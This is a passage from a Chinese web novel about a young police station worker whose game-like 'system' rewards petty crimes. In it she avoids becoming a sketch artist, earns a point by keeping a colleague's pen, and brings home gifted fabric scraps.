这不就是画侦嘛。 通缉画像古来有之,吴所能想到这点并不奇怪,这职业直到八十年代后期才固定下来,主要是因为人像绘画不易,学出来画的准的画师少不说,干别的行业更赚钱,没必要做画侦。 江夏倒不想赚大钱,她画的也准,完全具备成为高级画侦专家的能力,但…… 她上辈子画了二十多年,还在画室带了九年的校联集训,天天从早晨八点画到凌晨一二点,真画伤了。 现在少量画画还行,继续拿它当职业? 不干不干,打死她也不干! “这难度不一样啊师父!” 江夏试图用难度让吴所打消这个念头: “画我见过的和别人说的人像难度根本不在一个等级,前者就像是默写我背过的课文,后面那个是别人给我几个句子,甚至就几个字,保不齐还有错别字,前后颠倒,然后让我猜是哪篇课文,再默写出来。” “这要是猜准了还好,猜不准,那就完全不是一个样,反而是影响查案了!” “是挺难的。” 虽然不懂画画,但听江夏比喻,吴所还是懂了这其中的难度,但他不仅没有放弃,还从口袋里掏出了两块钱: “不过难才要练嘛,来,这买纸笔的经费我出了,以后没事儿你就画画玩吧,我不拦着!” 艹。 看着吴所递过来的钞票,江夏没忍住,在心里比了个中指。 她就想在所里撬个锁而已,怎么就这么难呢! 14. 再不下手就晚了啊! 钱江夏没收。 但两天后,吴所还是给她拿了个高档笔记本,黑色的硬壳外皮,还有条能直接扣上的长搭,外加一盒马利铅笔。 只要不是太离谱,又对破案有帮助的行为,吴所还是挺鼓励的,不忙时摸鱼他也不管。 但江夏宁愿嗑瓜子品茶,也不拿笔记本画画。 她就算饿死,从所里跳出去,也不要再练人头像了! 不过此为后话。 现在的江夏还在沉思。 吴所的话也挺有道理,不管研究什么,通常都只有两个字。 烧钱。 派出所经费紧张,自然不愿支持。 只是这样一来,她想要打着研究旗号,在同事眼下撬锁刷系统分的想法就彻底破灭了。 毕竟是基层单位,有这样的想法和行为江夏也理解,不必强求。 只是这条路走不通,就得想想其它法子了。 她现在会的只有盗术,主要分撬锁和摸包,现在撬锁不能展示,就只剩下了摸包。 从系统判定来说,偷了东西再快速还回去是最快、最高效的刷分办法,但这无疑就是犯罪,太突破底线,必须pass。 可其它的办法…… 江夏一时间还真想不出来。 要是有什么会被系统判定为犯罪,又不会被同事怀疑,可以任由她实施的就好了。 想不到,江夏转着手中的圆珠笔,又想回了撬锁。 所里不行,市局就不一定了,他们有技术科和专门的痕检,思想上也更先进,就算她天天撬锁,恐怕也不会有人在背后蛐蛐。 想到这里,江夏逐渐升起了几分心动。 市局……还真是一个不错的选择。 不仅能卡系统bug加点,案子还多,也不用再忙所里这些鸡毛蒜皮的小事。 而且,以她的能力,去市局也不算多难。 略微沉思片刻,江夏还是打消了这个念头。 能力归能力,她家里都是平头老百姓,又没什么关系,四处托人运作起来太麻烦费钱不说,进去了也矮人一头。 不如顺其自然。 反正以她还在提升的能力,迟早会被市局注视到。 思索间,沈豁达逐渐停止了打呼噜。 熬了一个大夜的他睁开眼,动作缓慢的爬了起来。 “我说怎么这么香,原来是吴所你拿肉包子来了啊,有我的份儿没?” 沈豁达抹了把脸,使劲甩了甩头,可脸上还是带着困倦,他道:“小江,帮我打盆凉水吧。” “好。” 江夏停止思索,她放下圆珠笔,起身去拿盆。 刚一走,衣服下摆就就带起铅笔,将它扫到了地下。 这可真是不小心。 江夏拍了下头,弯腰去捡。 还未摸到笔,看着笔身,她脑海中忽然闪过一个念头。 它能不能偷,不是,能不能顺?! 江夏心动了。 笔这玩意儿价值不高,正大光明拿了别人也不介意,顶多调侃几句,而且还能一直干,比展示不了几次的撬锁强多了! 就是不知道系统会不会承认了。 找人试试? 说干就干,江夏一边工作,一边等起来机会。 下午。 休息了一上午的胡伟满血复活,精神抖擞的顶了师父的班,和徐副所长审昨天抓捕归来的罪犯。 见他拿着笔和记录本从审讯室出来,江夏也拿着本子,迎了上去。 “怎么样,有没有审出来东西?” “没了。” 胡伟摇摇头,略有些失望,“徐所说他们身上肯定还有案子,就是嘴硬不说。” “那也正常。” 江夏道:“这些都快无期了,再有怕不是要吃枪子,他们哪会开口,喏,这是你们昨天口供,我重新整理完了,你拿过去让他们签个字。” “好。” 胡伟接过本子,又将手中的递了过去:“这是新口供。” “我看看。” 江夏拿着本子翻看了几下,“这里写的有点乱啊?” “啊,那是地名,叫什么qí城?我不会写。” “我知道,是蕲城,就是现在的蕲县,笔给我用一下。” 江夏从胡伟手上拿过笔,边写边问,“对了胡哥,哪里适合摆摊这个你帮我问了吗?” “前个我正要跟你说呢,结果上午你人不在。” 胡伟道:“听我那些兄弟说,他们辖区摆摊的都不怎么安生,不过人民公园里面好点,毕竟有人巡逻,就是得花五分买个门票,此外红星路也安全点,买的人也大方,毕竟旁边就是机关单位。” “行,谢谢胡哥了,我先回办公室忙去了。” 江夏握着笔的右手自然垂下,左手举起口供晃了两下,就往办公室走。 在离开一步后,熟悉的系统提示音在耳边响起。 【恭喜宿主完成一项轻度犯罪,经验值+1】 成了! 江夏心中一喜,脚步也随之轻快了几分。 很好,从今天开始,她就是顺笔狂魔了! * 吴所又翻来覆去审了一天,见审不出东西,又没有证据,他也就结了案,顺道给被服厂的刘科长打了个电话,让他过来领追回的货。 虽然也就到手两天,但何秃子还是将床单枕套卖出些,零整都有,都不太好追回,好在卖的不多,还剩下八多成在手里。 接到这个消息,刘科长可高兴坏了。 他还以为货追不回来了呢,那今年少不了挨批评,奖金也没了,没想到峰回路转,不仅贼抓到了,货也基本上都追了回来,这下可不用挨批评了! 高兴的刘科长准备了点礼物,喊了两个小伙儿,骑着车就来到所里取货。 “你们算是帮了我们场大忙了!” 办公室内,刘科长将几摞扎好的碎布头分发给众人: “大恩不言谢,我也没什么好东西,就拿了点碎布头,都是些剩下来的废料,厂里也用不着,你们收着补个窟窿,再不济涂点浆糊,做个鞋底子,也算是废物利用了。” “来,江同志,这是你的。” 说着,刘科长给江夏递过来一摞布头。 如今供货依然紧张,买布还得用布票,布稀缺,但这种碎成巴掌块儿的布头还真不怎么值钱,而且也实用,吴所也没拦着,笑呵呵道: “咱们也算是吃上大户了,就都收着吧。” 江夏拎起了自己那摞碎布头。 不仅扎实,还明显比别人的大了一圈,布也更完整。 她挑了下眉毛,一抬眼,就看到刘科长正冲她笑。 不愧是科长,就是会做人哈。 送走对方,也差不多到了下班的点。 江夏提着碎布头回了家。 江英正在厨房里忙,老妈也没闲着,就坐在茶几旁糊着纸壳。 江夏将碎布头往她面前一放:“妈,你看这是什么?” “这么多碎布?” 周梅一看,瞬间又惊又喜,“你从哪里弄的?” “被服厂刘科长送的。”江夏笑着道:“所里把偷他们厂货的贼给抓了,货也追回来了,就送了点这个给所里。” “那怪不得。” 周梅伸手解开绳子,高兴的翻看起来。 这布头可不少,能有个六七斤重,一散开,铺了大半个茶几,颜色以白粉蓝灰为主,有大有小,不过大的居多,普遍有个毛巾大,能做不少好东西。 看我闺女多有本事! 周梅心中不由得涌出几分自豪,她挑出几块最大的,盘算着道: “这些布可真不错,凑凑都能缝件衣裳了!不过家里现在不缺衣服,嗯……我记得你包不是旧了嘛,正好能给你做个条纹包,剩下的这些我再慢慢想做啥。” “妈你慢慢想。” 江夏道:“我先去看我姐做什么好吃的了。” “去吧去吧,你个小馋鬼。” 江夏闪身进了厨房。 厨房里满是香料的气味,江英站在锅前,往里面加着辣椒粉,见江夏来了,道: “今天可没有零嘴,我做调料呢,味可容易附身上了,你还是赶紧出去玩儿吧。” 嗯?

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